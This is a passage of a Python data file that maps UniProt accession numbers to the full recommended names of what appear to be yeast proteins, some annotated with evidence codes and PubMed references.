'P53303' : ntuniprot(RecName_Full='Zinc finger protein ZPR1'),
'P53304' : ntuniprot(RecName_Full='N-acetyltransferase SLI1'),
'P53305' : ntuniprot(RecName_Full='Mitochondrial 37S ribosomal protein S27'),
'P53306' : ntuniprot(RecName_Full='Phosphatidylinositol N-acetylglucosaminyltransferase subunit GPI1'),
'P53309' : ntuniprot(RecName_Full='Clathrin coat assembly protein AP180B'),
'P53311' : ntuniprot(RecName_Full='Mitochondrial pyruvate carrier 3 {ECO:0000303|PubMed:22628554, ECO:0000303|PubMed:22628558}'),
'P53312' : ntuniprot(RecName_Full='Succinate--CoA ligase [ADP-forming] subunit beta, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03219, ECO:0000305|PubMed:9874242}'),
'P53313' : ntuniprot(RecName_Full='Protein SDA1'),
'P53314' : ntuniprot(RecName_Full="2',3'-cyclic-nucleotide 3'-phosphodiesterase"),
'P53315' : ntuniprot(RecName_Full='6-phosphogluconolactonase 4'),
'P53316' : ntuniprot(RecName_Full='Uncharacterized RNA-binding protein YGR250C'),
'P53317' : ntuniprot(RecName_Full='Nucleolar protein 19'),
'P53318' : ntuniprot(RecName_Full='Ubiquinone biosynthesis monooxygenase COQ6, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03193, ECO:0000305|PubMed:12721307}'),
'P53319' : ntuniprot(RecName_Full='6-phosphogluconate dehydrogenase, decarboxylating 2'),
'P53320' : ntuniprot(RecName_Full='Mitochondrial carrier protein MTM1'),
'P53322' : ntuniprot(RecName_Full='High-affinity nicotinic acid transporter'),
'P53323' : ntuniprot(RecName_Full='EKC/KEOPS complex subunit BUD32'),
'P53324' : ntuniprot(RecName_Full='Steryl acetyl hydrolase 1'),
'P53326' : ntuniprot(RecName_Full='Uncharacterized protein YGR266W'),
'P53327' : ntuniprot(RecName_Full='Antiviral helicase SLH1'),
'P53329' : ntuniprot(RecName_Full='Uncharacterized protein YGR273C'),
'P53330' : ntuniprot(RecName_Full='Regulator of Ty1 transposition protein 102'),
'P53331' : ntuniprot(RecName_Full='RNA exonuclease 1'),
'P53332' : ntuniprot(RecName_Full='Phosphopantetheine adenylyltransferase'),
'P53333' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC22'),
'P53334' : ntuniprot(RecName_Full='Probable family 17 glucosidase SCW4'),
'P53335' : ntuniprot(RecName_Full='Protein PXR1'),
'P53336' : ntuniprot(RecName_Full='Putative methyltransferase YGR283C {ECO:0000305}'),
'P53337' : ntuniprot(RecName_Full='ER-derived vesicles protein ERV29'),
'P53338' : ntuniprot(RecName_Full='Maltose fermentation regulatory protein MAL13'),
'P53341' : ntuniprot(RecName_Full='Alpha-glucosidase MAL12'),
'P53343' : ntuniprot(RecName_Full='Seripauperin-12'),
'P53344' : ntuniprot(RecName_Full='Protein COS6'),
'P53378' : ntuniprot(RecName_Full='Tubulin gamma chain'),
'P53379' : ntuniprot(RecName_Full='Aspartic proteinase MKC7'),
'P53388' : ntuniprot(RecName_Full='Dicarboxylic amino acid permease'),
'P53389' : ntuniprot(RecName_Full='Protein HOL1'),
'P53390' : ntuniprot(RecName_Full='Ammonium transporter MEP3'),
'P53394' : ntuniprot(RecName_Full='Putative sulfate transporter YPR003C'),
'P53397' : ntuniprot(RecName_Full='N-glycosylase/DNA lyase'),
'P53427' : ntuniprot(RecName_Full='Seripauperin-4'),
'P53437' : ntuniprot(RecName_Full='RNA polymerase I-specific transcription initiation factor RRN9'),
'P53438' : ntuniprot(RecName_Full='Protein SOK2'),
'P53507' : ntuniprot(RecName_Full='Mitochondrial import receptor subunit TOM7'),
'P53538' : ntuniprot(RecName_Full='RNA polymerase II subunit A C-terminal domain phosphatase SSU72'),
'P53540' : ntuniprot(RecName_Full='Spindle pole body component SPC98'),
'P53541' : ntuniprot(RecName_Full='Putative meiotic phospholipase SPO1'),
'P53549' : ntuniprot(RecName_Full='26S proteasome subunit RPT4'),
'P53550' : ntuniprot(RecName_Full='m7GpppN-mRNA hydrolase {ECO:0000305}'),
'P53551' : ntuniprot(RecName_Full='Histone H1'),
'P53552' : ntuniprot(RecName_Full='THO complex subunit 2'),
'P53583' : ntuniprot(RecName_Full='Protein MPA43'),
'P53584' : ntuniprot(RecName_Full='Protein YTP1'),
'P53598' : ntuniprot(RecName_Full='Succinate--CoA ligase [ADP-forming] subunit alpha, mitochondrial {ECO:0000255|HAMAP-Rule:MF_03222, ECO:0000305|PubMed:9874242}'),
'P53599' : ntuniprot(RecName_Full='MAP kinase kinase kinase SSK2'),
'P53600' : ntuniprot(RecName_Full='Coatomer subunit zeta'),
'P53604' : ntuniprot(RecName_Full='Protein MSO1'),
'P53615' : ntuniprot(RecName_Full='Carbonic anhydrase'),
'P53616' : ntuniprot(RecName_Full='Probable secreted beta-glucosidase SUN4'),
'P53617' : ntuniprot(RecName_Full='Protein NRD1'),
'P53622' : ntuniprot(RecName_Full='Coatomer subunit alpha'),
'P53628' : ntuniprot(RecName_Full='Transcription regulatory protein SNF12'),
'P53629' : ntuniprot(RecName_Full='Sterol O-acyltransferase 2'),
'P53630' : ntuniprot(RecName_Full='Dethiobiotin synthetase'),
'P53631' : ntuniprot(RecName_Full='Hexose transporter HXT17'),
'P53632' : ntuniprot(RecName_Full='Poly(A) RNA polymerase protein 2'),
'P53633' : ntuniprot(RecName_Full='Prenylated Rab acceptor 1'),
'P53685' : ntuniprot(RecName_Full='NAD-dependent protein deacetylase HST1'),
'P53686' : ntuniprot(RecName_Full='NAD-dependent protein deacetylase HST2'),
'P53687' : ntuniprot(RecName_Full='NAD-dependent histone deacetylase HST3'),
'P53688' : ntuniprot(RecName_Full='NAD-dependent histone deacetylase HST4'),
'P53691' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase CPR6'),
'P53718' : ntuniprot(RecName_Full='Transcription factor NRM1'),
'P53719' : ntuniprot(RecName_Full='Uncharacterized protein YNR014W'),
'P53720' : ntuniprot(RecName_Full='tRNA-dihydrouridine(20) synthase [NAD(P)+]'),
'P53721' : ntuniprot(RecName_Full='Respiratory supercomplex factor 2, mitochondrial'),
'P53722' : ntuniprot(RecName_Full='Mitochondrial inner membrane protease ATP23'),
'P53723' : ntuniprot(RecName_Full='UPF0674 endoplasmic reticulum membrane protein YNR021W'),
'P53724' : ntuniprot(RecName_Full='54S ribosomal protein L50, mitochondrial'),
'P53725' : ntuniprot(RecName_Full='M-phase phosphoprotein 6 homolog'),
'P53727' : ntuniprot(RecName_Full='Putative pyridoxal kinase BUD17'),
'P53728' : ntuniprot(RecName_Full='Peptidyl-prolyl cis-trans isomerase CYP8'),
'P53729' : ntuniprot(RecName_Full='Uncharacterized protein YNR029C'),
'P53730' : ntuniprot(RecName_Full='Dol-P-Man:Man(7)GlcNAc(2)-PP-Dol alpha-1,6-mannosyltransferase'),
'P53731' : ntuniprot(RecName_Full='Actin-related protein 2/3 complex subunit 2'),
'P53732' : ntuniprot(RecName_Full='37S ribosomal protein S12, mitochondrial'),
'P53733' : ntuniprot(RecName_Full='37S ribosomal protein S19, mitochondrial'),
'P53734' : ntuniprot(RecName_Full='ATP-dependent RNA helicase DBP6'),
'P53735' : ntuniprot(RecName_Full='Protein ZRG17'),
'P53736' : ntuniprot(RecName_Full='Uncharacterized protein YNR040W'),
'P53738' : ntuniprot(RecName_Full='Multifunctional methyltransferase subunit TRM112'),
'P53739' : ntuniprot(RecName_Full='Flippase kinase 1'),
'P53740' : ntuniprot(RecName_Full='Probable phospholipid translocase non-catalytic subunit CRF1 {ECO:0000303|PubMed:17093059}'),
'P53741' : ntuniprot(RecName_Full='UBP3-associated protein BRE5'),
'P53742' : ntuniprot(RecName_Full='Nucleolar GTP-binding protein 2'),
'P53743' : ntuniprot(RecName_Full='Pre-rRNA-processing protein ESF2'),
'P53744' : ntuniprot(RecName_Full='7-keto 8-aminopelargonic acid transporter'),
'P53745' : ntuniprot(RecName_Full='Probable alpha-1,3-mannosyltransferase MNT4'),
'P53746' : ntuniprot(RecName_Full='Ferric reductase transmembrane component 4'),
'P53747' : ntuniprot(RecName_Full='Uncharacterized vacuolar membrane protein YNR061C'),
'P53748' : ntuniprot(RecName_Full='Uncharacterized membrane protein YNR062C'),
'P53749' : ntuniprot(RecName_Full='Uncharacterized transcriptional regulatory protein YNR063W'),
'P53750' : ntuniprot(RecName_Full='Uncharacterized hydrolase YNR064C'),
'P53751' : ntuniprot(RecName_Full='Uncharacterized membrane glycoprotein YNR065C'),
'P53752' : ntuniprot(RecName_Full='Uncharacterized membrane glycoprotein YNR066C'),
'P53753' : ntuniprot(RecName_Full='Endo-1,3(4)-beta-glucanase 1'),
'P53754' : ntuniprot(RecName_Full='Uncharacterized protein YNR068C'),
'P53755' : ntuniprot(RecName_Full='Bypass of stop codon protein 5'),
'P53756' : ntuniprot(RecName_Full='ABC transporter ATP-binding protein/permease PDR18'),
'P53757' : ntuniprot(RecName_Full='Uncharacterized isomerase YNR071C'),
'P53758' : ntuniprot(RecName_Full='UPF0320 protein YNR077C'),
'P53759' : ntuniprot(RecName_Full='tRNA-dihydrouridine(16/17) synthase [NAD(P)(+)]'),
'P53769' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC24'),
'P53819' : ntuniprot(RecName_Full="Y' element ATP-dependent helicase protein 1 copy 6"),
'P53822' : ntuniprot(RecName_Full='Protein COS1'),
'P53823' : ntuniprot(RecName_Full="Probable pyridoxal 5'-phosphate synthase subunit SNO2"),
'P53824' : ntuniprot(RecName_Full="Probable pyridoxal 5'-phosphate synthase subunit SNZ2"),
'P53829' : ntuniprot(RecName_Full='Protein CAF40'),
'P53830' : ntuniprot(RecName_Full='Cold sensitive U2 snRNA suppressor 2'),
'P53832' : ntuniprot(RecName_Full='Cell wall integrity and stress response component 2'),
'P53833' : ntuniprot(RecName_Full='Ribonucleases P/MRP protein subunit POP3'),
'P53834' : ntuniprot(RecName_Full='Hsp90 co-chaperone HCH1'),
'P53835' : ntuniprot(RecName_Full='Plasma membrane fusion protein PRM1'),
'P53836' : ntuniprot(RecName_Full='CCR4-NOT transcriptional complex subunit CAF120'),
'P53838' : ntuniprot(RecName_Full='Boron transporter 1'),
'P53839' : ntuniprot(RecName_Full='Glyoxylate reductase 1'),
'P53840' : ntuniprot(RecName_Full='Topoisomerase 1-associated factor 1'),
'P53841' : ntuniprot(RecName_Full='Bypass of stop codon protein 4'),
'P53843' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein IST1'),
'P53844' : ntuniprot(RecName_Full='Phosphatidylinositol transfer protein PDR17'),
'P53845' : ntuniprot(RecName_Full='Protein transport protein YIF1'),
'P53846' : ntuniprot(RecName_Full='Protein LTO1 {ECO:0000303|PubMed:23318452, ECO:0000305}'),
'P53847' : ntuniprot(RecName_Full='Protein transport protein DSL1'),
'P53848' : ntuniprot(RecName_Full='Folic acid synthesis protein FOL1'),
'P53849' : ntuniprot(RecName_Full='Zinc finger protein GIS2'),
'P53850' : ntuniprot(RecName_Full='Restriction of telomere capping protein 4'),
'P53851' : ntuniprot(RecName_Full='Protein TEX1'),
'P53852' : ntuniprot(RecName_Full='Cysteine--tRNA ligase'),
'P53853' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 75'),
'P53854' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor CWC25'),
'P53855' : ntuniprot(RecName_Full='Autophagy-related protein 2'),
'P53857' : ntuniprot(RecName_Full='Uncharacterized globin-like protein YNL234W'),
'P53858' : ntuniprot(RecName_Full='Protein BNI4'),
'P53859' : ntuniprot(RecName_Full='Exosome complex component CSL4'),
'P53860' : ntuniprot(RecName_Full='Phosphatidylinositol transfer protein PDR16'),
'P53861' : ntuniprot(RecName_Full='Elongin-A'),
'P53863' : ntuniprot(RecName_Full='J protein JJJ1'),
'P53865' : ntuniprot(RecName_Full='Chaotic nuclear migration protein 67'),
'P53866' : ntuniprot(RecName_Full='Protein SQS1'),
'P53867' : ntuniprot(RecName_Full='Cysteine protease ATG4'),
'P53868' : ntuniprot(RecName_Full='Alpha-1,2-mannosyltransferase ALG9'),
'P53869' : ntuniprot(RecName_Full='MIOREX complex component 7 {ECO:0000305|PubMed:25683707}'),
'P53870' : ntuniprot(RecName_Full='Uncharacterized protein YNL193W'),
'P53871' : ntuniprot(RecName_Full='Probable glutamine amidotransferase DUG3'),
'P53872' : ntuniprot(RecName_Full='Hydrophilin YNL190W'),
'P53873' : ntuniprot(RecName_Full='Protein SWT21'),
'P53874' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 10'),
'P53875' : ntuniprot(RecName_Full='54S ribosomal protein L19, mitochondrial'),
'P53876' : ntuniprot(RecName_Full='Uncharacterized protein YNL184C'),
'P53877' : ntuniprot(RecName_Full='Pre-rRNA-processing protein IPI3'),
'P53878' : ntuniprot(RecName_Full='Uncharacterized oxidoreductase YNL181W'),
'P53879' : ntuniprot(RecName_Full='GTP-binding protein RHO5'),
'P53881' : ntuniprot(RecName_Full='54S ribosomal protein L22, mitochondrial'),
'P53882' : ntuniprot(RecName_Full='Topoisomerase I damage affected protein 7'),
'P53883' : ntuniprot(RecName_Full='Nucleolar protein 13'),
'P53885' : ntuniprot(RecName_Full='Signal transduction protein MDG1'),
'P53886' : ntuniprot(RecName_Full='Anaphase-promoting complex subunit 1'),
'P53889' : ntuniprot(RecName_Full='Uncharacterized mitochondrial hydrolase FMP41'),
'P53890' : ntuniprot(RecName_Full='Bud neck protein 5'),
'P53891' : ntuniprot(RecName_Full='Uncharacterized protein YNL165W'),
'P53892' : ntuniprot(RecName_Full='Protein IBD2'),
'P53893' : ntuniprot(RecName_Full='Ribosome assembly protein 1'),
'P53894' : ntuniprot(RecName_Full='Serine/threonine-protein kinase CBK1'),
'P53895' : ntuniprot(RecName_Full='Protein ASI2'),
'P53896' : ntuniprot(RecName_Full='GPI mannosyltransferase 2 subunit PGA1'),
'P53897' : ntuniprot(RecName_Full='mRNA stability protein IGO1'),
'P53898' : ntuniprot(RecName_Full='Protein NSG2'),
'P53899' : ntuniprot(RecName_Full='CDC48-associated ubiquitin-like/zinc finger protein 1 {ECO:0000303|PubMed:24121501}'),
'P53900' : ntuniprot(RecName_Full='Prefoldin subunit 4'),
'P53901' : ntuniprot(RecName_Full='Ingression protein 1'),
'P53903' : ntuniprot(RecName_Full='Processing of GAS1 and ALP protein 2'),
'P53904' : ntuniprot(RecName_Full='Tubulin-specific chaperone B'),
'P53905' : ntuniprot(RecName_Full='U6 snRNA-associated Sm-like protein LSm7'),
'P53906' : ntuniprot(RecName_Full='Uncharacterized protein YNL146W'),
'P53907' : ntuniprot(RecName_Full='Uncharacterized protein YNL144C'),
'P53908' : ntuniprot(RecName_Full='Uncharacterized membrane protein YNL143C'),
'P53909' : ntuniprot(RecName_Full='Adenine deaminase {ECO:0000255|HAMAP-Rule:MF_03145}'),
'P53910' : ntuniprot(RecName_Full='Uncharacterized protein YNL140C'),
'P53911' : ntuniprot(RecName_Full='Chromatin modification-related protein EAF7'),
'P53912' : ntuniprot(RecName_Full='Uncharacterized protein YNL134C'),
'P53913' : ntuniprot(RecName_Full='Protein FYV6'),
'P53914' : ntuniprot(RecName_Full='RNA cytidine acetyltransferase {ECO:0000255|HAMAP-Rule:MF_03211, ECO:0000305}'),
'P53915' : ntuniprot(RecName_Full='Nicotinamide riboside kinase'),
'P53916' : ntuniprot(RecName_Full='Probable phosphatidylinositol 3,4,5-trisphosphate 3-phosphatase TEP1'),
'P53917' : ntuniprot(RecName_Full='Factor arrest protein 11'),
'P53918' : ntuniprot(RecName_Full='Uncharacterized transporter ESBP6'),
'P53919' : ntuniprot(RecName_Full='H/ACA ribonucleoprotein complex non-core subunit NAF1'),
'P53920' : ntuniprot(RecName_Full='Pro-apoptotic serine protease NMA111'),
'P53921' : ntuniprot(RecName_Full='54S ribosomal protein bL35m {ECO:0000303|PubMed:24675956}'),
'P53923' : ntuniprot(RecName_Full='Cytoplasmic tRNA 2-thiolation protein 2 {ECO:0000255|HAMAP-Rule:MF_03054}'),
'P53924' : ntuniprot(RecName_Full='E3 ubiquitin-protein ligase DMA2'),
'P53925' : ntuniprot(RecName_Full='Uncharacterized vacuolar membrane protein YNL115C'),
'P53927' : ntuniprot(RecName_Full='Ribosome biogenesis protein 15'),
'P53929' : ntuniprot(RecName_Full='Uncharacterized protein YNL108C'),
'P53930' : ntuniprot(RecName_Full='Protein AF-9 homolog'),
'P53932' : ntuniprot(RecName_Full='Uncharacterized transporter YNL095C'),
'P53933' : ntuniprot(RecName_Full='Phosphatidate phosphatase APP1'),
'P53934' : ntuniprot(RecName_Full='Carnosine N-methyltransferase {ECO:0000303|PubMed:26001783}'),
'P53935' : ntuniprot(RecName_Full='Stress response protein NST1'),
'P53937' : ntuniprot(RecName_Full='37S ribosomal protein SWS2, mitochondrial'),
'P53938' : ntuniprot(RecName_Full='N-glycosylation protein EOS1'),
'P53939' : ntuniprot(RecName_Full='Protein NIS1'),
'P53940' : ntuniprot(RecName_Full='J domain-containing protein APJ1'),
'P53941' : ntuniprot(RecName_Full='U3 small nucleolar ribonucleoprotein protein IMP4'),
'P53942' : ntuniprot(RecName_Full='Ribonuclease H2 subunit A'),
'P53943' : ntuniprot(RecName_Full='Probable transporter AQR1'),
'P53944' : ntuniprot(RecName_Full='Mitochondrial N(5)-glutamine methyltransferase MTQ1'),
'P53946' : ntuniprot(RecName_Full='Actin-related protein 5'),
'P53947' : ntuniprot(RecName_Full='Vacuolar membrane protein YNL058C'),
'P53949' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase-like protein OCA2'),
'P53950' : ntuniprot(RecName_Full='Vacuolar segregation protein 7'),
'P53951' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 5'),
'P53952' : ntuniprot(RecName_Full='Uncharacterized protein YNL050C'),
'P53953' : ntuniprot(RecName_Full='SED5-binding protein 2'),
'P53954' : ntuniprot(RecName_Full='GDP-Man:Man(3)GlcNAc(2)-PP-Dol alpha-1,2-mannosyltransferase'),
'P53955' : ntuniprot(RecName_Full='Phosphatidylinositol 4,5-bisphosphate-binding protein SLM2'),
'P53956' : ntuniprot(RecName_Full='Uncharacterized endoplasmic reticulum membrane protein YNL046W'),
'P53958' : ntuniprot(RecName_Full='Protein BOP3'),
'P53959' : ntuniprot(RecName_Full='Conserved oligomeric Golgi complex subunit 6'),
'P53960' : ntuniprot(RecName_Full='Putative alanyl-tRNA editing protein alaX'),
'P53961' : ntuniprot(RecName_Full='Phosphatidylinositol N-acetylglucosaminyltransferase subunit GPI15'),
'P53962' : ntuniprot(RecName_Full='Uncharacterized WD repeat-containing protein YNL035C'),
'P53963' : ntuniprot(RecName_Full='Uncharacterized protein YNL034W'),
'P53964' : ntuniprot(RecName_Full='Uncharacterized membrane protein YNL033W'),
'P53965' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase SIW14'),
'P53966' : ntuniprot(RecName_Full='Probable mannosyltransferase KTR5'),
'P53968' : ntuniprot(RecName_Full='Transcriptional regulator CRZ1'),
'P53969' : ntuniprot(RecName_Full='Sorting assembly machinery 50 kDa subunit'),
'P53970' : ntuniprot(RecName_Full='Protein-lysine N-methyltransferase EFM6 {ECO:0000255|HAMAP-Rule:MF_03198, ECO:0000305|PubMed:26115316}'),
'P53971' : ntuniprot(RecName_Full='FKBP12-associated protein 1'),
'P53972' : ntuniprot(RecName_Full='25S rRNA (cytosine(2278)-C(5))-methyltransferase'),
'P53973' : ntuniprot(RecName_Full='Histone deacetylase HDA1'),
'P53974' : ntuniprot(RecName_Full='Actin-regulating kinase 1'),
'P53975' : ntuniprot(RecName_Full='Uncharacterized membrane protein YNL019C'),
'P53976' : ntuniprot(RecName_Full='Uncharacterized protein YNL018C'),
'P53978' : ntuniprot(RecName_Full='Elongation factor 3B'),
'P53980' : ntuniprot(RecName_Full='Uncharacterized protein YNL011C'),
'P53981' : ntuniprot(RecName_Full='Uncharacterized phosphatase YNL010W'),
'P53982' : ntuniprot(RecName_Full='Isocitrate dehydrogenase [NADP]'),
'P53983' : ntuniprot(RecName_Full='Protein ASI3'),
'P54000' : ntuniprot(RecName_Full='RNA polymerase II transcriptional coactivator SUB1'),
'P54003' : ntuniprot(RecName_Full='Protein SUR7'),
'P54005' : ntuniprot(RecName_Full='Protein DIA1'),
'P54007' : ntuniprot(RecName_Full='Uncharacterized protein YLR460C'),
'P54070' : ntuniprot(RecName_Full='Mannosyltransferase KTR6'),
'P54072' : ntuniprot(RecName_Full='Uncharacterized transporter YLR152C'),
'P54074' : ntuniprot(RecName_Full='Protein ASI1'),
'P54113' : ntuniprot(RecName_Full='Bifunctional purine biosynthesis protein ADE16'),
'P54114' : ntuniprot(RecName_Full='Aldehyde dehydrogenase [NAD(P)+] 2'),
'P54115' : ntuniprot(RecName_Full='Magnesium-activated aldehyde dehydrogenase, cytosolic'),
'P54199' : ntuniprot(RecName_Full='Serine/threonine-protein kinase MPS1'),
'P54730' : ntuniprot(RecName_Full='UBX domain-containing protein 4'),
'P54780' : ntuniprot(RecName_Full='60S ribosomal protein L15-B {ECO:0000303|PubMed:9559554}'),
'P54781' : ntuniprot(RecName_Full='Cytochrome P450 61 {ECO:0000303|PubMed:8543054}'),
'P54783' : ntuniprot(RecName_Full='D-arabinono-1,4-lactone oxidase'),
'P54784' : ntuniprot(RecName_Full='Origin recognition complex subunit 1'),
'P54785' : ntuniprot(RecName_Full='Transcriptional activator/repressor MOT3'),
'P54786' : ntuniprot(RecName_Full='Protein ZDS2'),
'P54787' : ntuniprot(RecName_Full='Vacuolar protein sorting-associated protein 9'),
'P54790' : ntuniprot(RecName_Full='Origin recognition complex subunit 3'),
'P54791' : ntuniprot(RecName_Full='Origin recognition complex subunit 4'),
'P54837' : ntuniprot(RecName_Full='Endoplasmic reticulum vesicle protein 25'),
'P54838' : ntuniprot(RecName_Full='Dihydroxyacetone kinase 1'),
'P54839' : ntuniprot(RecName_Full='Hydroxymethylglutaryl-CoA synthase'),
'P54854' : ntuniprot(RecName_Full='Hexose transporter HXT15'),
'P54857' : ntuniprot(RecName_Full='Lipase 2'),
'P54858' : ntuniprot(RecName_Full='Protein DOS2'),
'P54860' : ntuniprot(RecName_Full='E4 ubiquitin-protein ligase UFD2'),
'P54861' : ntuniprot(RecName_Full='Dynamin-related protein DNM1'),
'P54862' : ntuniprot(RecName_Full='Hexose transporter HXT11'),
'P54867' : ntuniprot(RecName_Full='Protein SLG1'),
'P54885' : ntuniprot(RecName_Full='Gamma-glutamyl phosphate reductase'),
'P54964' : ntuniprot(RecName_Full='Oligoribonuclease, mitochondrial'),
'P54999' : ntuniprot(RecName_Full='Small nuclear ribonucleoprotein F'),
'P56508' : ntuniprot(RecName_Full='Protein SNA2'),
'P56628' : ntuniprot(RecName_Full='60S ribosomal protein L22-B {ECO:0000303|PubMed:9559554}'),
'P57743' : ntuniprot(RecName_Full='U6 snRNA-associated Sm-like protein LSm3'),
'P57744' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM8'),
'P60010' : ntuniprot(RecName_Full='Actin'),
'P61829' : ntuniprot(RecName_Full='ATP synthase subunit 9, mitochondrial'),
'P61830' : ntuniprot(RecName_Full='Histone H3'),
'P62651' : ntuniprot(RecName_Full='Phosphatidylinositol N-acetylglucosaminyltransferase ERI1 subunit'),
'P69771' : ntuniprot(RecName_Full='Vacuolar protein-sorting-associated protein 46'),
'P69850' : ntuniprot(RecName_Full='DASH complex subunit DAD3'),
'P69851' : ntuniprot(RecName_Full='DASH complex subunit DAD4'),
'P69852' : ntuniprot(RecName_Full='DASH complex subunit HSK3'),
'P80210' : ntuniprot(RecName_Full='Adenylosuccinate synthetase {ECO:0000255|HAMAP-Rule:MF_03125}'),
'P80235' : ntuniprot(RecName_Full='Putative mitochondrial carnitine O-acetyltransferase'),
'P80428' : ntuniprot(RecName_Full='Actin-related protein 4'),
'P80667' : ntuniprot(RecName_Full='Peroxisomal membrane protein PAS20'),
'P80967' : ntuniprot(RecName_Full='Mitochondrial import receptor subunit TOM5'),
'P81449' : ntuniprot(RecName_Full='ATP synthase subunit e, mitochondrial'),
'P81450' : ntuniprot(RecName_Full='ATP synthase subunit J, mitochondrial'),
'P81451' : ntuniprot(RecName_Full='ATP synthase subunit K, mitochondrial'),
'P85052' : ntuniprot(RecName_Full='Bud site selection protein 25'),
'P87012' : ntuniprot(RecName_Full='Putative pelota-like protein YCL001W-A'),
'P87108' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM10'),
'P87262' : ntuniprot(RecName_Full='60S ribosomal protein L34-A {ECO:0000303|PubMed:9559554}'),
'P87275' : ntuniprot(RecName_Full='Altered inheritance of mitochondria protein 11'),
'P87284' : ntuniprot(RecName_Full='Plasma membrane proteolipid 3'),
'P87287' : ntuniprot(RecName_Full='Uncharacterized protein YDR366C'),
'P89102' : ntuniprot(RecName_Full='Exocyst complex component SEC5'),
'P89105' : ntuniprot(RecName_Full='RNA polymerase-associated protein CTR9'),
'P89113' : ntuniprot(RecName_Full='Protein DDR2'),
'P89114' : ntuniprot(RecName_Full='Pachytene arrest protein SAE3'),
'P89886' : ntuniprot(RecName_Full='Translation machinery-associated protein 20'),
'Q00055' : ntuniprot(RecName_Full='Glycerol-3-phosphate dehydrogenase [NAD(+)] 1'),
'Q00245' : ntuniprot(RecName_Full='GTP-binding protein RHO3'),
'Q00246' : ntuniprot(RecName_Full='GTP-binding protein RHO4'),
'Q00362' : ntuniprot(RecName_Full='Protein phosphatase PP2A regulatory subunit B'),
'Q00381' : ntuniprot(RecName_Full='AP-2 complex subunit sigma'),
'Q00402' : ntuniprot(RecName_Full='Nuclear migration protein NUM1'),
'Q00416' : ntuniprot(RecName_Full='Helicase SEN1'),
'Q00453' : ntuniprot(RecName_Full='Probable transcription repressor protein RGM1'),
'Q00539' : ntuniprot(RecName_Full='Protein NAM8'),
'Q00578' : ntuniprot(RecName_Full='General transcription and DNA repair factor IIH helicase subunit XPB'),
'Q00582' : ntuniprot(RecName_Full='GTP-binding protein GTR1'),
'Q00618' : ntuniprot(RecName_Full='Geranylgeranyl transferase type-2 subunit alpha'),
'Q00684' : ntuniprot(RecName_Full='Tyrosine-protein phosphatase CDC14'),
'Q00711' : ntuniprot(RecName_Full='Succinate dehydrogenase [ubiquinone] flavoprotein subunit, mitochondrial'),
'Q00723' : ntuniprot(RecName_Full='Pre-mRNA-splicing factor 38'),
'Q00764' : ntuniprot(RecName_Full='Alpha,alpha-trehalose-phosphate synthase [UDP-forming] 56 kDa subunit'),
'Q00772' : ntuniprot(RecName_Full='Mitogen-activated protein kinase SLT2/MPK1'),
'Q00776' : ntuniprot(RecName_Full='AP-1 complex subunit mu-1-I'),
'Q00816' : ntuniprot(RecName_Full='Resistance to glucose repression protein 1'),
'Q00873' : ntuniprot(RecName_Full='Cytochrome c1 heme lyase'),
'Q00916' : ntuniprot(RecName_Full='U1 small nuclear ribonucleoprotein 70 kDa homolog'),
'Q00947' : ntuniprot(RecName_Full='Transcription factor STP1'),
'Q00955' : ntuniprot(RecName_Full='Acetyl-CoA carboxylase'),
'Q01080' : ntuniprot(RecName_Full='DNA-directed RNA polymerase I subunit RPA49'),
'Q01159' : ntuniprot(RecName_Full='mRNA-capping enzyme subunit alpha'),
'Q01163' : ntuniprot(RecName_Full='37S ribosomal protein S23, mitochondrial'),
'Q01217' : ntuniprot(RecName_Full='Protein ARG5,6, mitochondrial'),
'Q01329' : ntuniprot(RecName_Full='Pre-tRNA-processing protein PTA1'),
'Q01389' : ntuniprot(RecName_Full='Serine/threonine-protein kinase BCK1/SLK1/SSP31'),
'Q01448' : ntuniprot(RecName_Full='Histone promoter control protein 2'),
'Q01454' : ntuniprot(RecName_Full='DNA polymerase alpha-binding protein'),
'Q01476' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 2'),
'Q01477' : ntuniprot(RecName_Full='Ubiquitin carboxyl-terminal hydrolase 3'),
'Q01519' : ntuniprot(RecName_Full='Cytochrome c oxidase subunit 6B'),
'Q01532' : ntuniprot(RecName_Full='Cysteine proteinase 1, mitochondrial'),
'Q01560' : ntuniprot(RecName_Full='Nucleolar protein 3'),
'Q01574' : ntuniprot(RecName_Full='Acetyl-coenzyme A synthetase 1'),
'Q01589' : ntuniprot(RecName_Full='Cell wall protein SED1'),
'Q01590' : ntuniprot(RecName_Full='Integral membrane protein SED5'),
'Q01649' : ntuniprot(RecName_Full='Spindle pole body-associated protein CIK1'),
'Q01662' : ntuniprot(RecName_Full='Methionine aminopeptidase 1 {ECO:0000255|HAMAP-Rule:MF_03174}'),
'Q01684' : ntuniprot(RecName_Full='Sporulation-specific protein'),
'Q01722' : ntuniprot(RecName_Full='Glycolytic genes transcriptional activator GCR2'),
'Q01766' : ntuniprot(RecName_Full='Halotolerance protein HAL1'),
'Q01802' : ntuniprot(RecName_Full='Aspartate aminotransferase, mitochondrial'),
'Q01846' : ntuniprot(RecName_Full='Structural protein MDM1'),
'Q01852' : ntuniprot(RecName_Full='Mitochondrial import inner membrane translocase subunit TIM44'),
'Q01855' : ntuniprot(RecName_Full='40S ribosomal protein S15 {ECO:0000303|PubMed:9559554}'),
'Q01896' : ntuniprot(RecName_Full='Sodium transport ATPase 2'),
'Q01919' : ntuniprot(RecName_Full='Serine/threonine-protein kinase KIN4'),
'Q01926' : ntuniprot(RecName_Full='Magnesium transporter MRS2, mitochondrial'),
'Q01939' : ntuniprot(RecName_Full='26S proteasome regulatory subunit 8 homolog'),
'Q01976' : ntuniprot(RecName_Full='ADP-ribose pyrophosphatase'),
'Q02046' : ntuniprot(RecName_Full='Methylenetetrahydrofolate dehydrogenase [NAD(+)]'),
